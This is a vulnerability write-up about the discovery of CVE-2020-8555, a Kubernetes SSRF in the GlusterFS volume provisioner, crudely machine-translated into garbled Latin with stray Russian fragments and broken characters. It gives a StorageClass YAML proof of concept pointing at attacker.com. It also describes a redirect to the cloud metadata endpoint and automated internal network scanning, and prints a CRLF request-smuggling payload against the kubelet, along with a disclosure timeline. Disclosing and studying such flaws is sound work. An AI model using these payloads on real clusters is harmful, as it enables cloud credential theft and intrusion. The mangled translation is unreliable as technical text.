Cum suus non iustus de nuditatibus Kubernetes...

Nota. transl.: Auctores huius articuli singillatim loquuntur quomodo vulnerability invenire curaverunt CVE-2020-8555 in Kubernetes. Quamquam initio non valde periculosum videtur, in compositione cum aliis causis criticae suae evenit ut maximum pro aliqua nube aliqua provisoribus. Plures institutiones speciales pro suo opere magno munere remuneraverunt.

Cum suus non iustus de nuditatibus Kubernetes...

Qui sumus?

Investigatores securitatis Gallicae duo sumus qui vulnerabilitatem in Kubernetes coniunctim invenerunt. Nostra nomina sunt Brice Augras et Christophe Hauquiert, sed in multis suggestis Bug largitatis Reeverzax et Hach respectively notae sumus;

Quid accidit?

Articulus hic noster modus communicandi est quomodo consilium ordinarium inquisitionis inopinanter convertit in casus excitando in vita venatorum bug (saltem nunc).

Ut probabiliter scis, venatores cimex duas notas notas habent;

  • Neapolitanam et cerevisiam vivunt;
  • quisque dormit laborant.

Non excipimus has regulas: solemus in hebdomadae convenire et noctes insomnes caesim agere. Sed rarissime una harum noctes finivit.

Initio ibamus ad disputandum de participatione CTF postridie. In colloquio de securitate Kubernetes in ambitu officii administrato recordati sumus veterem ideam SSRF (Servo-Latus Request Forgery) ac tentare statuit ut scriptum impetum.

Hora 11 post meridiem sedimus ad investigationes nostras faciendas et primo mane cubitum venimus, proventuum admodum contentus. Propter hanc investigationem nos per programmata MSRC Bug largitatem invenimus et cum privilegio prolaticie facinoris ascendimus.

Plures hebdomades/menses praeterierunt, et noster eventus inopinatus consecutus est in una summa praemiorum in historia azure Cloud Bug largitatis - praeter illam quam ab Kubernetes accepimus!

Fundatur in nostro investigationis proposito, Product Security Committee Kubernetes published CVE-2020-8555.

Nunc notitias de vulneribus inventis quam maxime explicare vellem. Speramus te bene invenire et dividere singula technica cum aliis membris communitatis infosec!

Hic ergo fabula nostra est.

context

Ut maxime sensus eorum quae acciderunt, primum inspiciamus quomodo Kubernetes in ambitu nubis administrato operatur.

Cum in tali rerum ambitu instantias Kubernetes, stratum procuratio typice est responsabilitas provisoris nubis;

Cum suus non iustus de nuditatibus Kubernetes...
Stratum imperium in perimetro provisoris nubis situm est, dum Nodi Kubernetes in perimetro emptoris locantur.

Ad volumina dynamice collocant, mechanismus dynamice provideat ab exteriori repositione backend et conferat cum PVC (pertinax volumen petitio, i.e. petitio voluminis).

Ita, postquam PVC creatur et ligatur ad StorageClass in botro K8s, ulteriores actiones ad praebendum volumen a procuratore kube/nube moderatoris (ex emissione pendente nomen eius exactum est). (Nota. transl.: Iam plura de CC scripsimus exemplum exsecutionis pro uno e provisoribus nubis hic.)

Plures genera praescriptorum Kubernetorum subnixa sunt: ​​ex his pleraque comprehenduntur orchestrator corealii vero adiectis provisionibus, quae in siliquis in botro ponuntur.

In investigationibus nostris venimus apparatum ma- chinae internum volumine, quod infra illustratur:

Cum suus non iustus de nuditatibus Kubernetes...
Praeparatio voluminum dynamica utens in aedificato-in Kubernetes provisori

In summa, cum Kubernetes in ambitu administrato explicatur, moderatoris procurator est responsabilitas nubis provisoris, sed rogatio voluminis creationis (numerus 3 in diagrammate supra) nubes retis internae provisoris relinquit. Et hoc est ubi res vere interesting!

Hacking sem

In hac sectione, explicabimus quomodo nos supra memoratum workflui commodum cepimus et accesserunt facultates internas nubis provisoris servitii. Ostendet etiam tibi quomodo aliquas actiones exercere possis, sicut documentorum interna obtinenda vel privilegia acquirendi.

Una simplex manipulatio (in hoc casu, Service Side Request Forgery) adiuvit ad transeundum clientis ambitum in glomerulis variis servitii provisoribus sub K8s administratis.

In investigationibus nostris in GlusterFS provisionem venimus. Non obstante quod ulterior series actionum hoc in contextu describitur, Quobyte, StorageOS et ScaleIO eandem passibilitatem obnoxii sunt.

Cum suus non iustus de nuditatibus Kubernetes...
Abusus de dynamica volumine commeatu mechanism

Per analysis genus repono GLUSTERFS in Golang client source code we animadvertitprimum rogationem HTTP (3) in volumine creationis missam, ad finem consuetudinis URL in parametro resturl additum est: /volumes.

Hanc additional semitam addere decrevimus tollendum # in parametri resturl. Hic est primus YAML configurationem tentare semi-caecum SSRF vulnerability (magis legere potes de SSRF semi-caecum vel caecum vel semicaecum, e.g. hic β€” proxime. transl.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Tunc binarii usi sumus ut Botrus Kubernetes remote administraret kubectl. De more provisores nubis (Azure, Google, AWS, etc.) permittunt te documentorum usum in hac utilitate obtinere.

Propter hoc fasciculo "speciali" uti potui. Kube-controller-procurator HTTP petitio inde functus est:

kubectl create -f sc-poc.yaml

Cum suus non iustus de nuditatibus Kubernetes...
Responsum est ex parte invasoris

Paulo post hoc etiam responsionem HTTP accipere potuimus e servo clypeo per mandata describe pvc aut get events in kubectl. Et quidem: hoc defalta Kubernetes agitator nimis verbosus est in suis monitis/erroribus nuntiis...

Hic est exemplum cum nexu ad https://www.google.frset ut parametri resturl:

kubectl describe pvc poc-ssrf
# ΠΈΠ»ΠΈ ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ kubectl get events

Cum suus non iustus de nuditatibus Kubernetes...

Hoc in aditu circumscriptae sumus quaestiones similes HTTP Post et corpus responsionis contenta non posset, si reditus codicem erat 201. Ideo alia investigationes agere decrevimus et novis accessionibus hanc caesim missionem amplificare.

Evolutio investigationis nostrae

  • Provectus varius #1: Usus 302 redirectio ab externo servo mutandi HTTP methodum ut faciliori modo ad notitias internas colligendas praebeat.
  • Provectus varius #2: Automate LAN intuens et resource internae inventionis.
  • Provectus missionem #3: usura HTTP CRLF + smuggling ("postulatio smuggling) ad petitiones HTTP formandas creandas ac datas e kube-controllere tigna extractas capias.

cubits technica

  • Investigatio usus est servitii Azure Kubernetes (AKS) cum versione Kubernetes 1.12 in regione septentrionali.
  • Missiones supra scriptae in emissione Kubernetes ultimi emissi sunt excepta tertia missione, quia egebat Kubernetes cum versione Golang ≀ 1.12 aedificavit.
  • Percussor externus server - https://attacker.com.

Provectus varius # I: Redirecting an HTTP Post petitionem ad adepto et accepto sensitivo data

Methodus originalis emendatus est a configuratione servientis ad reditum CCCII HTTP RetcodePost petitionem convertendi ad petitionem GET (gradus IV in tabula):

Cum suus non iustus de nuditatibus Kubernetes...

Prima petitio (3) ex cliente GLUSTERFS (Controller Procurator), stipendii genus habet. Sequentes hos gradus vertere poteramus in GET;

  • Ut parametri resturl in StorageClass indicatur http://attacker.com/redirect.php.
  • endpoint https://attacker.com/redirect.php Respondet cum CCCII HTTP status code cum sequenti Location Header: http://169.254.169.254. Hoc potest esse alia subsidia interna - hoc in casu, nexus redirectus solum ad exemplum adhibetur.
  • per default rete / http bibliothecam Golang petitionem remittit et tabellam ad GET cum 302 codice status convertit, inde in petitione HTTP GET scopo residua.

Legere HTTP responsio corporis debes facere describe PVC object:

kubectl describe pvc xxx

Exemplum adest responsionis HTTP in forma JSON quam accipere potuimus:

Cum suus non iustus de nuditatibus Kubernetes...

Facultates vulnerabilitas tunc temporis inventarum limitatae sunt propter sequentia puncta:

  • Non posse inserere HTTP capitis in exitu petitionem.
  • Inhabilitatem praestandi postulationem cum parametris in corpore (hoc convenit ut petat valorem clavis ab instantia etcd. 2379 portum si unencrypted HTTP adhibetur).
  • Inhabilitatem corporis contentum recuperare responsionem cum status codicis 200 erat et responsio non JSON Content-Type habere potuit.

Provectus sem # II: ENARRATIO loci network

Haec media methodus SSRF caeca tunc adhibita erat ut nubes provisoris retis interni ad scandendum et capita varia audientia officia (exempli gratia Metadata, Kubelet, etc.) innixa responsis kube controller.

Cum suus non iustus de nuditatibus Kubernetes...

Primum, vexillum auscultandi portus partium Kubernetium determinatae sunt (8443, 10250, 10251, etc.), et tunc habuimus processus automate inspecto.

Cum haec methodus explorandi facultates valde specificas sit nec compatitur cum scanneribus classicis et instrumentis SSRF, decrevimus operatores nostros creare in scripto quod totum processum automate.

Exempli gratia, ut celeriter spectetur 172.16.0.0/12 retis internae, 15 operarii in parallela deductae sunt. Praemissa IP range electa est in exemplum solum et potest mutare subiciendi provisoris vestri specificae IP range.

Ut scan unum locum IP et unum portum, sequentia facere debes:

  • ultimum repressit StorageClass delere;
  • priorem verificatur Pertinax Volume Claim remove;
  • mutare IP et Portus valores sc.yaml;
  • creare StorageClass cum IP novo portuque;
  • nouam PVC;
  • extractum photographicum utens describere pro PVC.

Provectus sem #3: CRLF iniectio + smuggling HTTP in "vetus" versionibus botri Kubernetti

Si praeter haec provisor oblatus clientibus antiquas versiones botri K8s ΠΈ accessum illis dedit ad acta procuratoris kube-controllers, effectus gravioris momenti factus est.

Multo enim commodius est oppugnatorem mutare petitiones HTTP destinatas plenam HTTP responsionem suo arbitrio obtinere.

Cum suus non iustus de nuditatibus Kubernetes...

Ad ultimam missionem efficiendam, condiciones quae sequuntur occurrere debebant;

  • Usoris accessum habere debet ad ligna kube-controller-procurator (sicut, exempli gratia, in LogInsights Azure).
  • Botrus Kubernetes versione Golang minore quam 1.12 uti debet.

Explicavimus ambitum localem qui communicationem simulatam inter GlusterFS clientem Go et scopum fictum servo (ab PoC nunc edendo abstinebimus).

inventum vulnerability, versiones Golang inferiores quam 1.12 afficiens ac permittens hackers ut impetus HTTP smugging/CRLF exsequatur.

Coniungendo medium caecum SSRF de quo supra вмСстС cum hoc, petitiones ad favorem nostrum mittere potuimus, inter quas reponens capita, methodum HTTP, ambitum et notulas, quae kube-procurator tunc processit.

Hic exemplum "escam" operantis in parametro resturl StorageClass, quae similem oppugnationem missionis exercet;

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Effectus est error ultro responsionis, nuntius de quo in acta moderatoris exposita est. Propter verbositatem, quae defaltam fecerit, contenta nuntii responsionis HTTP ibi etiam salvae sunt.

Cum suus non iustus de nuditatibus Kubernetes...

Haec erat nostra efficacissima "esca" in ambitu probationis conceptus.

Hoc accessu utentes, nonnullas sequentes impetus in racemis variorum provisoribus tractandis exsequi poteramus: privilegii propagationis cum documentorum in instantiis metadata, Magister DoS per (unencrypted) HTTP petitiones in instantiis magistri etc.

effectus,

In Kubernetes officialis constitutionis de SSRF vulnerabilitatem invenimus, aestimata est CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Si solum vulnerabilitas cum perimetro Kubernetes, integritas vector (integritas vector) hoc pertinet ad Omnia.

Tamen, perpendendis possibilibus consectariis in contextu ambitus servitutis administratae (quod maxime interesting nostrae investigationis pars erat) nos admonuit ut vulnerabilitatem in aestimationem rescinderemus. Critica CVSS10/10 multos distributores.

Infra informationis est adiuvent considerationes nostras intelligendas cum perpendendis impulsus potentiales in ambitibus nubes;

integritas

  • Faciendi mandata penitus usura acquiritur interna documentorum.
  • Reproducens missionem superius IDOR utens (Insecure Direct Object Reference) methodum cum aliis facultatibus in retiacula locali inventa.

et secreto

  • Genus impetum lateralibus motus nubis furti gratiae documentorum (exempli gratia metadata API).
  • Colligendis informationibus retis localis inspectis (determinans SSH versionem, HTTP versionem servientis, ...).
  • Instantiam et informationem infrastructuram collectae per APIs internum datorum sicut metadata APIhttp://169.254.169.254, ...).
  • Lorem notitia usura nubes documentorum furari.

disponibilitate

Omne facinus missionibus ad oppugnandum vector in integritasadhiberi potest ad actiones perniciosas et ad instantias magistrorum e perimetro clientis (vel quavis alia) perducenda.

Cum essemus in ambitu K8s moderata et integritate impulsum perpendendis, plures missiones existimare possumus qui promptibilitatem incurrant. Addita exempla etiam corruptelam datorum etcd vel vocantem criticam ad Kubernetes API facientem.

ratio temporum

  • Die 6 Decembris 2019: Vulnerabilitas nuntiavit MSRC Bug largitatem.
  • Die 3 Ianuarii 2020: tertia factio tincidunt Kubernetes certiorem fecit nos in causa securitatis laborare. Et rogavit eos ut SSRF considerarent tamquam vulnerabilitatem internam (in-core) . Nos igitur relationem generalem cum quaestionibus technicis de fonte quaestionis praebebamus.
  • Die 15 Ianuarii 2020: relationes technicas et generales ad Kubernetes tincidunt rogantibus (per HackerOne suggestum) providimus.
  • Die 15 Ianuarii 2020: tincidunt Kubernetes nobis significavit iniectionem semicaecam SSRF + CRLF pro praeteritis emissionibus considerari vulnerabilitatem in-core. Nos statim perimetros aliorum servitiorum provisorum examinare desiimus: turmas K8s cum causa radicis iam tractabamus.
  • 15. Ianuarii 2020: praemium MSRC per HackerOne receptum.
  • Die 16 Ianuarii 2020: Kubernetes PSC (Product Securitatis Committee) vulnerabilitatem agnovit et rogavit ut illud secretum servaret usque ad medium Martii propter multitudinem victimarum potentialium.
  • Die 11 Februarii 2020: Google VRP praemium accepit.
  • 4 Martii 2020: praemium Kubernetes per HackerOne receptum est.
  • Die 15 Martii 2020: Publica detectio distulit originaliter horarium ob condicionem COVID-19.
  • Iunii 1, 2020: Kubernetes + Microsoft coniunctionis enuntiatio de vulnerabilitate.

TL, DR

  • cervisiam bibimus et pizza :) comedimus
  • Nos vulnerabilitatem in Kubernetes in- core deteximus, quamquam id faciendi propositum non habuimus.
  • Nos analysim additis in glomerulis diversarum nubium provisorum deduximus et damnum augere potuimus per vulnerabilitatem ad recipiendos bonoses additos horribilis.
  • Multas technicas in hoc articulo invenies. Libet tecum disserere (Twitter: @ReeverZax & @__hach_).
  • Evenit ut omnia sollemnia et renuntiationes multo longiores quam exspectationes tulissent.

References

PS ab translator

Lege etiam in nostro diario:

Source: www.habr.com